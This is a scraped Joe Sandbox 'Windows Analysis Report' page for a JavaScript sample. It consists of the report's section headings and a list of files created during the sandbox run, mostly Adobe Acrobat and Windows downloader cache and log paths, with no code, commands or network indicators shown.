System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5787054b-63fc-4f78-b1ec-bdfb72fe7deb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1848

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1848

Windows Analysis Report
4483138622176223122.js